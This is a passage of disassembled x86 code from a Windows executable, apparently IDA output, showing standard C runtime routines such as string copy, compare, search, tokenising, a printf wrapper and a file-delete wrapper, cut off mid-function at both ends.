and eax, 0FFh
mov ecx, ds:off_453BE4
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 103h
mov [ebp+var_20], edx
loc_41F306: ; CODE XREF: sub_41F110+1D7j
cmp [ebp+var_20], 0
jz short loc_41F321
movsx eax, byte ptr [ebp+var_8]
push eax
call sub_429AC0
add esp, 4
sub eax, 37h
mov [ebp+var_14], eax
jmp short loc_41F323
; ---------------------------------------------------------------------------
loc_41F321: ; CODE XREF: sub_41F110+1FAj
jmp short loc_41F380
; ---------------------------------------------------------------------------
loc_41F323: ; CODE XREF: sub_41F110+1B2j
; sub_41F110+20Fj
mov ecx, [ebp+var_14]
cmp ecx, [ebp+arg_8]
jb short loc_41F32D
jmp short loc_41F380
; ---------------------------------------------------------------------------
loc_41F32D: ; CODE XREF: sub_41F110+219j
mov edx, [ebp+arg_C]
or edx, 8
mov [ebp+arg_C], edx
mov eax, [ebp+var_C]
cmp eax, [ebp+var_10]
jb short loc_41F353
mov ecx, [ebp+var_C]
cmp ecx, [ebp+var_10]
jnz short loc_41F362
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
cmp [ebp+var_14], edx
ja short loc_41F362
loc_41F353: ; CODE XREF: sub_41F110+22Cj
mov edx, [ebp+var_C]
imul edx, [ebp+arg_8]
add edx, [ebp+var_14]
mov [ebp+var_C], edx
jmp short loc_41F36A
; ---------------------------------------------------------------------------
loc_41F362: ; CODE XREF: sub_41F110+234j
; sub_41F110+241j
mov eax, [ebp+arg_C]
or al, 4
mov [ebp+arg_C], eax
loc_41F36A: ; CODE XREF: sub_41F110+250j
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov byte ptr [ebp+var_8], dl
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
jmp loc_41F276
; ---------------------------------------------------------------------------
loc_41F380: ; CODE XREF: sub_41F110:loc_41F321j
; sub_41F110+21Bj
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+arg_C]
and edx, 8
test edx, edx
jnz short loc_41F3A8
cmp [ebp+arg_4], 0
jz short loc_41F39F
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
loc_41F39F: ; CODE XREF: sub_41F110+287j
mov [ebp+var_C], 0
jmp short loc_41F41A
; ---------------------------------------------------------------------------
loc_41F3A8: ; CODE XREF: sub_41F110+281j
mov ecx, [ebp+arg_C]
and ecx, 4
test ecx, ecx
jnz short loc_41F3E2
mov edx, [ebp+arg_C]
and edx, 1
test edx, edx
jnz short loc_41F41A
mov eax, [ebp+arg_C]
and eax, 2
test eax, eax
jz short loc_41F3CF
cmp [ebp+var_C], 80000000h
ja short loc_41F3E2
loc_41F3CF: ; CODE XREF: sub_41F110+2B4j
mov ecx, [ebp+arg_C]
and ecx, 2
test ecx, ecx
jnz short loc_41F41A
cmp [ebp+var_C], 7FFFFFFFh
jbe short loc_41F41A
loc_41F3E2: ; CODE XREF: sub_41F110+2A0j
; sub_41F110+2BDj
call sub_429A90
mov dword ptr [eax], 22h
mov edx, [ebp+arg_C]
and edx, 1
test edx, edx
jz short loc_41F400
mov [ebp+var_C], 0FFFFFFFFh
jmp short loc_41F41A
; ---------------------------------------------------------------------------
loc_41F400: ; CODE XREF: sub_41F110+2E5j
mov eax, [ebp+arg_C]
and eax, 2
test eax, eax
jz short loc_41F413
mov [ebp+var_C], 80000000h
jmp short loc_41F41A
; ---------------------------------------------------------------------------
loc_41F413: ; CODE XREF: sub_41F110+2F8j
mov [ebp+var_C], 7FFFFFFFh
loc_41F41A: ; CODE XREF: sub_41F110+296j
; sub_41F110+2AAj ...
cmp [ebp+arg_4], 0
jz short loc_41F428
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
mov [ecx], edx
loc_41F428: ; CODE XREF: sub_41F110+30Ej
mov eax, [ebp+arg_C]
and eax, 2
test eax, eax
jz short loc_41F43A
mov ecx, [ebp+var_C]
neg ecx
mov [ebp+var_C], ecx
loc_41F43A: ; CODE XREF: sub_41F110+320j
mov eax, [ebp+var_C]
loc_41F43D: ; CODE XREF: sub_41F110+D9j
mov esp, ebp
pop ebp
retn
sub_41F110 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F450 proc near ; CODE XREF: sub_401C87+627Fp
; sub_401C87+6AA8p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push 1
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_41F110
add esp, 10h
pop ebp
retn
sub_41F450 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F470 proc near ; CODE XREF: sub_401C87+5A23p
; _0:0041F4C7p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
push eax
call ds:dword_4F5354 ; DeleteFileA
test eax, eax
jnz short loc_41F48D
call ds:dword_4F5360 ; RtlGetLastWin32Error
mov [ebp+var_4], eax
jmp short loc_41F494
; ---------------------------------------------------------------------------
loc_41F48D: ; CODE XREF: sub_41F470+10j
mov [ebp+var_4], 0
loc_41F494: ; CODE XREF: sub_41F470+1Bj
cmp [ebp+var_4], 0
jz short loc_41F4AB
mov ecx, [ebp+var_4]
push ecx
call sub_4299F0
add esp, 4
or eax, 0FFFFFFFFh
jmp short loc_41F4AD
; ---------------------------------------------------------------------------
loc_41F4AB: ; CODE XREF: sub_41F470+28j
xor eax, eax
loc_41F4AD: ; CODE XREF: sub_41F470+39j
mov esp, ebp
pop ebp
retn
sub_41F470 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
mov eax, [ebp+8]
push eax
call sub_41F470
add esp, 4
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F4E0 proc near ; CODE XREF: sub_401C87+598Fp
; sub_4124E6+8Cp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
lea eax, [ebp+arg_8]
mov [ebp+var_10], eax
loc_41F4EF: ; CODE XREF: sub_41F4E0+37j
cmp [ebp+arg_0], 0
jnz short loc_41F513
push offset dword_43C514
push 0
push 38h
push offset aFprintf_c ; "fprintf.c"
push 2
call sub_422610
add esp, 14h
cmp eax, 1
jnz short loc_41F513
int 3 ; Trap to Debugger
loc_41F513: ; CODE XREF: sub_41F4E0+13j
; sub_41F4E0+30j
xor ecx, ecx
test ecx, ecx
jnz short loc_41F4EF
loc_41F519: ; CODE XREF: sub_41F4E0+61j
cmp [ebp+arg_4], 0
jnz short loc_41F53D
push offset aFormatNull ; "format != NULL"
push 0
push 39h
push offset aFprintf_c ; "fprintf.c"
push 2
call sub_422610
add esp, 14h
cmp eax, 1
jnz short loc_41F53D
int 3 ; Trap to Debugger
loc_41F53D: ; CODE XREF: sub_41F4E0+3Dj
; sub_41F4E0+5Aj
xor edx, edx
test edx, edx
jnz short loc_41F519
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
push ecx
call sub_422420
add esp, 4
mov edx, [ebp+var_4]
push edx
call sub_429C90
add esp, 4
mov [ebp+var_8], eax
mov eax, [ebp+var_10]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+var_4]
push edx
call sub_427F60
add esp, 0Ch
mov [ebp+var_C], eax
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+var_8]
push ecx
call sub_429DF0
add esp, 8
mov edx, [ebp+var_4]
push edx
call sub_422490
add esp, 4
mov eax, [ebp+var_C]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41F4E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F5B0 proc near ; CODE XREF: sub_401C87+1E2Ep
; sub_401C87+1E4Dp ...
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
push edi
mov edi, [ebp+arg_0]
xor eax, eax
or ecx, 0FFFFFFFFh
repne scasb
inc ecx
neg ecx
dec edi
mov al, [ebp+arg_4]
std
repne scasb
inc edi
cmp [edi], al
jz short loc_41F5D1
xor eax, eax
jmp short loc_41F5D3
; ---------------------------------------------------------------------------
loc_41F5D1: ; CODE XREF: sub_41F5B0+1Bj
mov eax, edi
loc_41F5D3: ; CODE XREF: sub_41F5B0+1Fj
cld
pop edi
leave
retn
sub_41F5B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F5E0 proc near ; CODE XREF: sub_401C87+825p
; sub_426C90+BEp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov ecx, [ebp+arg_8]
jecxz short loc_41F611
mov ebx, ecx
mov edi, [ebp+arg_0]
mov esi, edi
xor eax, eax
repne scasb
neg ecx
add ecx, ebx
mov edi, esi
mov esi, [ebp+arg_4]
repe cmpsb
mov al, [esi-1]
xor ecx, ecx
cmp al, [edi-1]
ja short loc_41F60F
jz short loc_41F611
dec ecx
dec ecx
loc_41F60F: ; CODE XREF: sub_41F5E0+29j
not ecx
loc_41F611: ; CODE XREF: sub_41F5E0+9j
; sub_41F5E0+2Bj
mov eax, ecx
pop ebx
pop esi
pop edi
leave
retn
sub_41F5E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41F620 proc near ; CODE XREF: sub_401C87+418p
; sub_401C87+3012p ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
jmp short loc_41F691
sub_41F620 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41F630 proc near ; CODE XREF: sub_401C87+421p
; sub_401C87+767Dp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
push edi
test ecx, 3
jz short loc_41F64C
loc_41F63D: ; CODE XREF: sub_41F630+1Aj
mov al, [ecx]
inc ecx
test al, al
jz short loc_41F67F
test ecx, 3
jnz short loc_41F63D
loc_41F64C: ; CODE XREF: sub_41F630+Bj
; sub_41F630+32j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_41F64C
mov eax, [ecx-4]
test al, al
jz short loc_41F68E
test ah, ah
jz short loc_41F689
test eax, 0FF0000h
jz short loc_41F684
test eax, 0FF000000h
jz short loc_41F67F
jmp short loc_41F64C
; ---------------------------------------------------------------------------
loc_41F67F: ; CODE XREF: sub_41F630+12j
; sub_41F630+4Bj
lea edi, [ecx-1]
jmp short loc_41F691
; ---------------------------------------------------------------------------
loc_41F684: ; CODE XREF: sub_41F630+44j
lea edi, [ecx-2]
jmp short loc_41F691
; ---------------------------------------------------------------------------
loc_41F689: ; CODE XREF: sub_41F630+3Dj
lea edi, [ecx-3]
jmp short loc_41F691
; ---------------------------------------------------------------------------
loc_41F68E: ; CODE XREF: sub_41F630+39j
lea edi, [ecx-4]
loc_41F691: ; CODE XREF: sub_41F620+5j
; sub_41F630+52j ...
mov ecx, [esp+4+arg_4]
test ecx, 3
jz short loc_41F6B6
loc_41F69D: ; CODE XREF: sub_41F630+7Dj
mov dl, [ecx]
inc ecx
test dl, dl
jz short loc_41F708
mov [edi], dl
inc edi
test ecx, 3
jnz short loc_41F69D
jmp short loc_41F6B6
; ---------------------------------------------------------------------------
loc_41F6B1: ; CODE XREF: sub_41F630+9Ej
; sub_41F630+B8j
mov [edi], edx
add edi, 4
loc_41F6B6: ; CODE XREF: sub_41F630+6Bj
; sub_41F630+7Fj
mov edx, 7EFEFEFFh
mov eax, [ecx]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [ecx]
add ecx, 4
test eax, 81010100h
jz short loc_41F6B1
test dl, dl
jz short loc_41F708
test dh, dh
jz short loc_41F6FF
test edx, 0FF0000h
jz short loc_41F6F2
test edx, 0FF000000h
jz short loc_41F6EA
jmp short loc_41F6B1
; ---------------------------------------------------------------------------
loc_41F6EA: ; CODE XREF: sub_41F630+B6j
mov [edi], edx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41F6F2: ; CODE XREF: sub_41F630+AEj
mov [edi], dx
mov eax, [esp+4+arg_0]
mov byte ptr [edi+2], 0
pop edi
retn
; ---------------------------------------------------------------------------
loc_41F6FF: ; CODE XREF: sub_41F630+A6j
mov [edi], dx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41F708: ; CODE XREF: sub_41F630+72j
; sub_41F630+A2j
mov [edi], dl
mov eax, [esp+4+arg_0]
pop edi
retn
sub_41F630 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41F720
loc_41F710: ; CODE XREF: sub_41F720+1Dj
lea eax, [edx-1]
pop ebx
retn
; END OF FUNCTION CHUNK FOR sub_41F720
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41F720 proc near ; CODE XREF: sub_401C87+3FDp
; sub_401C87+49Ep ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
; FUNCTION CHUNK AT 0041F710 SIZE 00000005 BYTES
xor eax, eax
mov al, [esp+arg_4]
loc_41F726: ; CODE XREF: sub_41EBB0+6Ej
push ebx
mov ebx, eax
shl eax, 8
mov edx, [esp+4+arg_0]
test edx, 3
jz short loc_41F74B
loc_41F738: ; CODE XREF: sub_41F720+29j
mov cl, [edx]
inc edx
cmp cl, bl
jz short loc_41F710
test cl, cl
jz short loc_41F794
test edx, 3
jnz short loc_41F738
loc_41F74B: ; CODE XREF: sub_41F720+16j
or ebx, eax
push edi
mov eax, ebx
shl ebx, 10h
push esi
or ebx, eax
loc_41F756: ; CODE XREF: sub_41F720+61j
; sub_41F720+70j ...
mov ecx, [edx]
mov edi, 7EFEFEFFh
mov eax, ecx
mov esi, edi
xor ecx, ebx
add esi, eax
add edi, ecx
xor ecx, 0FFFFFFFFh
xor eax, 0FFFFFFFFh
xor ecx, edi
xor eax, esi
add edx, 4
and ecx, 81010100h
jnz short loc_41F798
and eax, 81010100h
jz short loc_41F756
and eax, 1010100h
jnz short loc_41F792
and esi, 80000000h
jnz short loc_41F756
loc_41F792: ; CODE XREF: sub_41F720+68j
; sub_41F720+81j ...
pop esi
pop edi
loc_41F794: ; CODE XREF: sub_41F720+21j
pop ebx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41F798: ; CODE XREF: sub_41F720+5Aj
mov eax, [edx-4]
cmp al, bl
jz short loc_41F7D5
test al, al
jz short loc_41F792
cmp ah, bl
jz short loc_41F7CE
test ah, ah
jz short loc_41F792
shr eax, 10h
cmp al, bl
jz short loc_41F7C7
test al, al
jz short loc_41F792
cmp ah, bl
jz short loc_41F7C0
test ah, ah
jz short loc_41F792
jmp short loc_41F756
; ---------------------------------------------------------------------------
loc_41F7C0: ; CODE XREF: sub_41F720+98j
pop esi
pop edi
lea eax, [edx-1]
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41F7C7: ; CODE XREF: sub_41F720+90j
lea eax, [edx-2]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41F7CE: ; CODE XREF: sub_41F720+85j
lea eax, [edx-3]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41F7D5: ; CODE XREF: sub_41F720+7Dj
lea eax, [edx-4]
pop esi
pop edi
pop ebx
retn
sub_41F720 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41F7E0 proc near ; CODE XREF: sub_401C87+1A2p
; sub_401C87+1F9p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_0]
mov ecx, [esp+arg_4]
test edx, 3
jnz short loc_41F82C
loc_41F7F0: ; CODE XREF: sub_41F7E0+3Cj
; sub_41F7E0+66j ...
mov eax, [edx]
cmp al, [ecx]
jnz short loc_41F824
or al, al
jz short loc_41F820
cmp ah, [ecx+1]
jnz short loc_41F824
or ah, ah
jz short loc_41F820
shr eax, 10h
cmp al, [ecx+2]
jnz short loc_41F824
or al, al
jz short loc_41F820
cmp ah, [ecx+3]
jnz short loc_41F824
add ecx, 4
add edx, 4
or ah, ah
jnz short loc_41F7F0
mov edi, edi
loc_41F820: ; CODE XREF: sub_41F7E0+18j
; sub_41F7E0+21j ...
xor eax, eax
retn
; ---------------------------------------------------------------------------
align 4
loc_41F824: ; CODE XREF: sub_41F7E0+14j
; sub_41F7E0+1Dj ...
sbb eax, eax
shl eax, 1
inc eax
retn
; ---------------------------------------------------------------------------
align 4
loc_41F82C: ; CODE XREF: sub_41F7E0+Ej
test edx, 1
jz short loc_41F848
mov al, [edx]
inc edx
cmp al, [ecx]
jnz short loc_41F824
inc ecx
or al, al
jz short loc_41F820
test edx, 2
jz short loc_41F7F0
loc_41F848: ; CODE XREF: sub_41F7E0+52j
mov ax, [edx]
add edx, 2
cmp al, [ecx]
jnz short loc_41F824
or al, al
jz short loc_41F820
cmp ah, [ecx+1]
jnz short loc_41F824
or ah, ah
jz short loc_41F820
add ecx, 2
jmp short loc_41F7F0
sub_41F7E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F870 proc near ; CODE XREF: sub_401C87+B4p
; sub_401C87+CDp ...
var_30 = dword ptr -30h
var_2C = byte ptr -2Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 30h
mov eax, [ebp+arg_4]
mov [ebp+var_30], eax
call sub_428EE0
mov [ebp+var_8], eax
mov [ebp+var_C], 0
jmp short loc_41F896
; ---------------------------------------------------------------------------
loc_41F88D: ; CODE XREF: sub_41F870+34j
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
loc_41F896: ; CODE XREF: sub_41F870+1Bj
cmp [ebp+var_C], 20h
jge short loc_41F8A6
mov edx, [ebp+var_C]
mov [ebp+edx+var_2C], 0
jmp short loc_41F88D
; ---------------------------------------------------------------------------
loc_41F8A6: ; CODE XREF: sub_41F870+2Aj
; sub_41F870+79j
mov eax, [ebp+var_30]
xor ecx, ecx
mov cl, [eax]
mov edx, ecx
sar edx, 3
mov eax, [ebp+var_30]
xor ecx, ecx
mov cl, [eax]
and ecx, 7
mov eax, 1
shl eax, cl
mov cl, [ebp+edx+var_2C]
or cl, al
mov edx, [ebp+var_30]
xor eax, eax
mov al, [edx]
sar eax, 3
mov [ebp+eax+var_2C], cl
mov ecx, [ebp+var_30]
xor edx, edx
mov dl, [ecx]
mov eax, [ebp+var_30]
add eax, 1
mov [ebp+var_30], eax
test edx, edx
jnz short loc_41F8A6
cmp [ebp+arg_0], 0
jz short loc_41F8F9
mov ecx, [ebp+arg_0]
mov [ebp+var_4], ecx
jmp short loc_41F902
; ---------------------------------------------------------------------------
loc_41F8F9: ; CODE XREF: sub_41F870+7Fj
mov edx, [ebp+var_8]
mov eax, [edx+18h]
mov [ebp+var_4], eax
loc_41F902: ; CODE XREF: sub_41F870+87j
; sub_41F870+CFj
mov ecx, [ebp+var_4]
xor edx, edx
mov dl, [ecx]
sar edx, 3
xor eax, eax
mov al, [ebp+edx+var_2C]
mov ecx, [ebp+var_4]
xor edx, edx
mov dl, [ecx]
mov ecx, edx
and ecx, 7
mov edx, 1
shl edx, cl
and eax, edx
test eax, eax
jz short loc_41F941
mov eax, [ebp+var_4]
xor ecx, ecx
mov cl, [eax]
test ecx, ecx
jz short loc_41F941
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
jmp short loc_41F902
; ---------------------------------------------------------------------------
loc_41F941: ; CODE XREF: sub_41F870+B9j
; sub_41F870+C4j
mov eax, [ebp+var_4]
mov [ebp+arg_0], eax
jmp short loc_41F952
; ---------------------------------------------------------------------------
loc_41F949: ; CODE XREF: sub_41F870:loc_41F997j
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_41F952: ; CODE XREF: sub_41F870+D7j
mov edx, [ebp+var_4]
xor eax, eax
mov al, [edx]
test eax, eax
jz short loc_41F999
mov ecx, [ebp+var_4]
xor edx, edx
mov dl, [ecx]
sar edx, 3
xor eax, eax
mov al, [ebp+edx+var_2C]
mov ecx, [ebp+var_4]
xor edx, edx
mov dl, [ecx]
mov ecx, edx
and ecx, 7
mov edx, 1
shl edx, cl
and eax, edx
test eax, eax
jz short loc_41F997
mov eax, [ebp+var_4]
mov byte ptr [eax], 0
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
jmp short loc_41F999
; ---------------------------------------------------------------------------
loc_41F997: ; CODE XREF: sub_41F870+114j
jmp short loc_41F949
; ---------------------------------------------------------------------------
loc_41F999: ; CODE XREF: sub_41F870+EBj
; sub_41F870+125j
mov edx, [ebp+var_8]
mov eax, [ebp+var_4]
mov [edx+18h], eax
mov ecx, [ebp+arg_0]
cmp ecx, [ebp+var_4]
jnz short loc_41F9AE
xor eax, eax
jmp short loc_41F9B1
; ---------------------------------------------------------------------------
loc_41F9AE: ; CODE XREF: sub_41F870+138j
mov eax, [ebp+arg_0]
loc_41F9B1: ; CODE XREF: sub_41F870+13Cj
mov esp, ebp
pop ebp
retn
sub_41F870 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F9C0 proc near ; CODE XREF: sub_409C2F+1Cp
; sub_415AB0+19p ...
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 2Ch
push ebx
push esi
push edi
lea eax, [ebp+var_20]
mov [ebp+var_24], eax
loc_41F9CF: ; CODE XREF: sub_41F9C0+37j
cmp [ebp+arg_0], 0
jnz short loc_41F9F3
push offset aStringNull ; "string != NULL"
push 0
push 5Ah
push offset aVsprintf_c ; "vsprintf.c"
push 2
call sub_422610
add esp, 14h
cmp eax, 1
jnz short loc_41F9F3
int 3 ; Trap to Debugger
loc_41F9F3: ; CODE XREF: sub_41F9C0+13j
; sub_41F9C0+30j
xor ecx, ecx
test ecx, ecx
jnz short loc_41F9CF
loc_41F9F9: ; CODE XREF: sub_41F9C0+61j
cmp [ebp+arg_8], 0
jnz short loc_41FA1D
push offset aFormatNull ; "format != NULL"
push 0
push 5Bh
push offset aVsprintf_c ; "vsprintf.c"
push 2
call sub_422610
add esp, 14h
cmp eax, 1
jnz short loc_41FA1D
int 3 ; Trap to Debugger
loc_41FA1D: ; CODE XREF: sub_41F9C0+3Dj
; sub_41F9C0+5Aj
xor edx, edx
test edx, edx
jnz short loc_41F9F9
mov eax, [ebp+var_24]
mov dword ptr [eax+0Ch], 42h
mov ecx, [ebp+var_24]
mov edx, [ebp+arg_0]
mov [ecx+8], edx
mov eax, [ebp+var_24]
mov ecx, [ebp+arg_0]
mov [eax], ecx
mov edx, [ebp+var_24]
mov eax, [ebp+arg_4]
mov [edx+4], eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+var_24]
push eax
call sub_427F60
add esp, 0Ch
mov [ebp+var_28], eax
mov ecx, [ebp+var_24]
mov edx, [ecx+4]
sub edx, 1
mov eax, [ebp+var_24]
mov [eax+4], edx
mov ecx, [ebp+var_24]
cmp dword ptr [ecx+4], 0
jl short loc_41FA98
mov edx, [ebp+var_24]
mov eax, [edx]
mov byte ptr [eax], 0
xor ecx, ecx
and ecx, 0FFh
mov [ebp+var_2C], ecx
mov edx, [ebp+var_24]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+var_24]
mov [ecx], eax
jmp short loc_41FAA9
; ---------------------------------------------------------------------------
loc_41FA98: ; CODE XREF: sub_41F9C0+B4j
mov edx, [ebp+var_24]
push edx
push 0
call sub_427CE0
add esp, 8
mov [ebp+var_2C], eax
loc_41FAA9: ; CODE XREF: sub_41F9C0+D6j
mov eax, [ebp+var_28]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41F9C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41FAC0 proc near ; CODE XREF: sub_40B2E7+8Dp
; sub_40BBCD+60p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz loc_41FB74
mov edi, [esp+4+arg_0]
push esi
test edi, 3
push ebx
jz short loc_41FAEA
loc_41FADB: ; CODE XREF: sub_41FAC0+28j
mov al, [edi]
inc edi
test al, al
jz short loc_41FB1B
test edi, 3
jnz short loc_41FADB
loc_41FAEA: ; CODE XREF: sub_41FAC0+19j
; sub_41FAC0+40j ...
mov eax, [edi]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add edi, 4
test eax, 81010100h
jz short loc_41FAEA
mov eax, [edi-4]
test al, al
jz short loc_41FB28
test ah, ah
jz short loc_41FB23
test eax, 0FF0000h
jz short loc_41FB1E
test eax, 0FF000000h
jnz short loc_41FAEA
loc_41FB1B: ; CODE XREF: sub_41FAC0+20j
dec edi
jmp short loc_41FB2B
; ---------------------------------------------------------------------------
loc_41FB1E: ; CODE XREF: sub_41FAC0+52j
sub edi, 2
jmp short loc_41FB2B
; ---------------------------------------------------------------------------
loc_41FB23: ; CODE XREF: sub_41FAC0+4Bj
sub edi, 3
jmp short loc_41FB2B
; ---------------------------------------------------------------------------
loc_41FB28: ; CODE XREF: sub_41FAC0+47j
sub edi, 4
loc_41FB2B: ; CODE XREF: sub_41FAC0+5Cj
; sub_41FAC0+61j ...
mov esi, [esp+0Ch+arg_4]
test esi, 3
jnz short loc_41FB40
mov ebx, ecx
shr ecx, 2
jnz short loc_41FB8C
jmp short loc_41FB5C
; ---------------------------------------------------------------------------
loc_41FB40: ; CODE XREF: sub_41FAC0+75j
; sub_41FAC0+93j
mov dl, [esi]
inc esi
test dl, dl
jz short loc_41FB7A
mov [edi], dl
inc edi
dec ecx
jz short loc_41FB70
test esi, 3
jnz short loc_41FB40
mov ebx, ecx
shr ecx, 2
jnz short loc_41FB8C
loc_41FB5C: ; CODE XREF: sub_41FAC0+7Ej
; sub_41FAC0+CAj
mov ecx, ebx
and ecx, 3
jz short loc_41FB70
loc_41FB63: ; CODE XREF: sub_41FAC0+AEj
mov dl, [esi]
inc esi
mov [edi], dl
inc edi
test dl, dl
jz short loc_41FB72
dec ecx
jnz short loc_41FB63
loc_41FB70: ; CODE XREF: sub_41FAC0+8Bj
; sub_41FAC0+A1j
mov [edi], cl
loc_41FB72: ; CODE XREF: sub_41FAC0+ABj
pop ebx
pop esi
loc_41FB74: ; CODE XREF: sub_41FAC0+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41FB7A: ; CODE XREF: sub_41FAC0+85j
; sub_41FAC0+E8j
mov [edi], dl
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41FB84: ; CODE XREF: sub_41FAC0+E4j
; sub_41FAC0+FCj
mov [edi], edx
add edi, 4
dec ecx
jz short loc_41FB5C
loc_41FB8C: ; CODE XREF: sub_41FAC0+7Cj
; sub_41FAC0+9Aj
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_41FB84
test dl, dl
jz short loc_41FB7A
test dh, dh
jz short loc_41FBD8
test edx, 0FF0000h
jz short loc_41FBC8
test edx, 0FF000000h
jnz short loc_41FB84
mov [edi], edx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41FBC8: ; CODE XREF: sub_41FAC0+F4j
mov [edi], dx
xor edx, edx
mov eax, [esp+0Ch+arg_0]
mov [edi+2], dl
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41FBD8: ; CODE XREF: sub_41FAC0+ECj
mov [edi], dx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_41FAC0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FBF0 proc near ; CODE XREF: sub_40B419+62p
; sub_40B419+6Fp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_41FC10
cmp edi, eax
jb loc_41FD88
loc_41FC10: ; CODE XREF: sub_41FBF0+16j
test edi, 3
jnz short loc_41FC2C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41FC4C
rep movsd
